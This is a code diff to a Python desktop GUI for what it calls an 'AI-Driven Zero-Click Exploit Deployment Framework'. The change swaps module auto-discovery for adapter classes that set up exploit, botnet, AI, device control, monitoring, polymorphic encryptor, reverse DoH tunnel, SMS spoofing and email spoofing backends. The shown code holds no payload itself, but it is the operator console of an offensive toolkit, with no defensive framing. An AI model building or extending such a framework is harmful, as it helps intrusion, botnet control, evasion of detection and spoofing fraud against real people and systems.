11#!/usr/bin/env python3
22"""
33AI-Driven Zero-Click Exploit Deployment Framework - Integrated GUI
4- Auto-discovers and connects to available backend modules
4+ Uses backend adapters for proper module initialization
55"""
66
77import tkinter as tk
1212import random
1313import sys
1414import os
15- import importlib
16- import inspect
1715from datetime import datetime
1816from collections import deque
17+ from pathlib import Path
1918
2019# Add src directory to path
21- sys .path .insert (0 , os .path .join (os .path .dirname (__file__ ), '..' ))
22-
23- # Auto-discover available modules
24- AVAILABLE_MODULES = {}
25-
26- MODULE_MAPPING = {
27- 'exploit' : [
28- 'src.exploit.exploit_module' ,
29- 'src.exploit_module' ,
30- 'exploit.exploit_module' ,
31- 'exploit_module'
32- ],
33- 'ai' : [
34- 'src.ai.ai_model' ,
35- 'src.ai_model' ,
36- 'ai.ai_model' ,
37- 'ai_model'
38- ],
39- 'device' : [
40- 'src.device_control.device_manager' ,
41- 'src.device_manager' ,
42- 'device_control.device_manager' ,
43- 'device_manager'
44- ],
45- 'botnet' : [
46- 'src.botnet.botnet_manager' ,
47- 'src.botnet_manager' ,
48- 'botnet.botnet_manager' ,
49- 'botnet_manager'
50- ],
51- 'monitor' : [
52- 'src.monitoring.real_time_monitor' ,
53- 'src.real_time_monitor' ,
54- 'monitoring.real_time_monitor' ,
55- 'real_time_monitor'
56- ],
57- 'post_exploit' : [
58- 'src.post_exploitation.post_exploit' ,
59- 'src.post_exploit' ,
60- 'post_exploitation.post_exploit' ,
61- 'post_exploit'
62- ],
63- 'encryptor' : [
64- 'src.encryption.polymorphic_encryptor' ,
65- 'src.polymorphic_encryptor' ,
66- 'encryption.polymorphic_encryptor' ,
67- 'polymorphic_encryptor'
68- ],
69- 'tunnel' : [
70- 'src.networking.reverse_doh' ,
71- 'src.reverse_doh' ,
72- 'networking.reverse_doh' ,
73- 'reverse_doh'
74- ],
75- 'sms' : [
76- 'src.social.sms_spoofing' ,
77- 'src.sms_spoofing' ,
78- 'social.sms_spoofing' ,
79- 'sms_spoofing'
80- ],
81- 'email' : [
82- 'src.social.email_spoofing' ,
83- 'src.email_spoofing' ,
84- 'social.email_spoofing' ,
85- 'email_spoofing'
86- ]
87- }
88-
89- def discover_modules ():
90- """Auto-discover available framework modules"""
91- discovered = {}
92-
93- for module_type , possible_paths in MODULE_MAPPING .items ():
94- for path in possible_paths :
95- try :
96- module = importlib .import_module (path )
97- # Find the main class in the module
98- classes = [obj for name , obj in inspect .getmembers (module )
99- if inspect .isclass (obj ) and obj .__module__ == path ]
100-
101- if classes :
102- discovered [module_type ] = {
103- 'module' : module ,
104- 'class' : classes [0 ],
105- 'path' : path
106- }
107- print (f"✓ Discovered { module_type } : { path } .{ classes [0 ].__name__ } " )
108- break
109- except ImportError :
110- continue
111- except Exception as e :
112- continue
113-
114- return discovered
115-
116- # Discover modules at startup
117- AVAILABLE_MODULES = discover_modules ()
118- FRAMEWORK_MODULES_AVAILABLE = len (AVAILABLE_MODULES ) > 0
20+ sys .path .insert (0 , str (Path (__file__ ).parent ))
21+ sys .path .insert (0 , str (Path (__file__ ).parent .parent ))
22+
23+ # Import adapters
24+ try :
25+ from backend_adapters import (
26+ ConfigManager , GUILogger , ExploitAdapter , BotnetAdapter ,
27+ AIAdapter , DeviceAdapter , MonitorAdapter , EncryptorAdapter ,
28+ TunnelAdapter , SocialAdapter
29+ )
30+ ADAPTERS_AVAILABLE = True
31+ except ImportError as e :
32+ print (f"Adapters not available: { e } " )
33+ ADAPTERS_AVAILABLE = False
11934
12035# Modern styling constants
12136COLORS = {
@@ -466,7 +381,7 @@ def save(self):
466381 self .destroy ()
467382
468383class AIDeploymentFrameworkGUI :
469- """Main GUI Application with auto-discovered backend integration"""
384+ """Main GUI Application with adapter-based backend integration"""
470385
471386 def __init__ (self , root ):
472387 self .root = root
@@ -475,9 +390,14 @@ def __init__(self, root):
475390 self .root .configure (bg = COLORS ['bg_dark' ])
476391 self .root .minsize (1200 , 700 )
477392
478- # Initialize backend modules
393+ # Initialize configuration and logging
394+ self .config = ConfigManager () if ADAPTERS_AVAILABLE else None
395+ self .gui_logger = GUILogger ('GUI' ) if ADAPTERS_AVAILABLE else None
396+
397+ # Initialize backend modules through adapters
479398 self .backend = {}
480- self ._init_backend_modules ()
399+ if ADAPTERS_AVAILABLE :
400+ self ._init_backend_modules ()
481401
482402 # State
483403 self .running = False
@@ -500,32 +420,78 @@ def __init__(self, root):
500420 self .create_layout ()
501421 self .create_status_bar ()
502422
423+ # Connect logger to log panel after it's created
424+ if self .gui_logger :
425+ self .gui_logger .set_log_panel (self .log_panel )
426+
503427 # Start background tasks
504428 self .start_monitoring ()
505429
506430 # Initial log
507431 self .log_panel .log ('Framework initialized successfully' , 'SUCCESS' )
508- if FRAMEWORK_MODULES_AVAILABLE :
509- self .log_panel .log (f'Discovered { len (AVAILABLE_MODULES ) } backend modules' , 'SUCCESS' )
510- for name in AVAILABLE_MODULES .keys ():
511- self .log_panel .log (f' ✓ { name } module loaded ' , 'DEBUG' )
432+ if ADAPTERS_AVAILABLE and self . backend :
433+ self .log_panel .log (f'Backend adapters loaded: { len (self . backend ) } modules' , 'SUCCESS' )
434+ for name in self . backend .keys ():
435+ self .log_panel .log (f' ✓ { name } ' , 'DEBUG' )
512436 else :
513- self .log_panel .log ('No backend modules found - Running in DEMO MODE' , 'WARNING' )
437+ self .log_panel .log ('Running in DEMO MODE' , 'WARNING' )
514438 self .log_panel .log ('Zero-click exploit modules ready' , 'INFO' )
515439
516440 def _init_backend_modules (self ):
517- """Initialize discovered backend modules"""
518- global AVAILABLE_MODULES
441+ """Initialize backend modules through adapters"""
442+ try :
443+ self .backend ['exploit' ] = ExploitAdapter (self .config , self .gui_logger )
444+ print ('✓ Exploit adapter initialized' )
445+ except Exception as e :
446+ print (f'✗ Exploit adapter failed: { e } ' )
519447
520- for module_name , module_info in AVAILABLE_MODULES .items ():
521- try :
522- # Instantiate the class
523- cls = module_info ['class' ]
524- instance = cls ()
525- self .backend [module_name ] = instance
526- print (f"✓ Initialized { module_name } : { cls .__name__ } " )
527- except Exception as e :
528- print (f"✗ Failed to initialize { module_name } : { e } " )
448+ try :
449+ self .backend ['botnet' ] = BotnetAdapter (self .config , self .gui_logger )
450+ print ('✓ Botnet adapter initialized' )
451+ except Exception as e :
452+ print (f'✗ Botnet adapter failed: { e } ' )
453+
454+ try :
455+ self .backend ['ai' ] = AIAdapter (self .config , self .gui_logger )
456+ print ('✓ AI adapter initialized' )
457+ except Exception as e :
458+ print (f'✗ AI adapter failed: { e } ' )
459+
460+ try :
461+ self .backend ['device' ] = DeviceAdapter (self .config , self .gui_logger )
462+ print ('✓ Device adapter initialized' )
463+ except Exception as e :
464+ print (f'✗ Device adapter failed: { e } ' )
465+
466+ try :
467+ self .backend ['monitor' ] = MonitorAdapter (self .config , self .gui_logger )
468+ print ('✓ Monitor adapter initialized' )
469+ except Exception as e :
470+ print (f'✗ Monitor adapter failed: { e } ' )
471+
472+ try :
473+ self .backend ['encryptor' ] = EncryptorAdapter (self .config , self .gui_logger )
474+ print ('✓ Encryptor adapter initialized' )
475+ except Exception as e :
476+ print (f'✗ Encryptor adapter failed: { e } ' )
477+
478+ try :
479+ self .backend ['tunnel' ] = TunnelAdapter (self .config , self .gui_logger )
480+ print ('✓ Tunnel adapter initialized' )
481+ except Exception as e :
482+ print (f'✗ Tunnel adapter failed: { e } ' )
483+
484+ try :
485+ self .backend ['sms' ] = SocialAdapter ('sms' , self .config , self .gui_logger )
486+ print ('✓ SMS adapter initialized' )
487+ except Exception as e :
488+ print (f'✗ SMS adapter failed: { e } ' )
489+
490+ try :
491+ self .backend ['email' ] = SocialAdapter ('email' , self .config , self .gui_logger )
492+ print ('✓ Email adapter initialized' )
493+ except Exception as e :
494+ print (f'✗ Email adapter failed: { e } ' )
529495
530496 def create_menu (self ):
531497 """Create application menu"""
0 commit comments